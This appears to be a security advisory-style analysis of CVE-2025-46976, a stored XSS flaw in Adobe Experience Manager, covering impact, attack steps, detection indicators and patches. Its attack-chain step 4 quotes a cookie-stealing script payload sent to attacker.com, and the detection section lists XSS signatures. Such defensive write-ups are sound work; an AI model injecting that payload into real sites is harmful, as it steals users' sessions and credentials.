CVE-2025-46976: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46976 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with low privileges can inject malicious JavaScript into form fields within AEM; the payload is stored server-side and subsequently executed in the browser of any user who visits the page containing the vulnerable field. Exploitation requires network access, low privileges, and user interaction (a victim browsing to the affected page), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser within the context of the AEM application. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and social engineering attacks. Confidentiality and integrity are both assessed as low impact; availability is not affected (Adobe Advisory).

There is no public proof-of-concept exploit available, and no evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in forms, content fragments, or editable components) that lack proper output encoding.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the stored payload, causing the malicious script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or pivot to further attacks within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission or content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM content pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes, particularly in text or richtext properties of content pages or form components.
• Logs: Browser-side console errors or CSP violation reports referencing inline script execution on AEM content pages.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premises to version 6.5.23.0 or later, and AEM Cloud Service to 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to restrict inline script execution, enforce rigorous input validation and output encoding on all user-supplied content, and limit write access to AEM authoring interfaces to trusted users only. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, as part of a broader June 2025 Adobe patch release (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.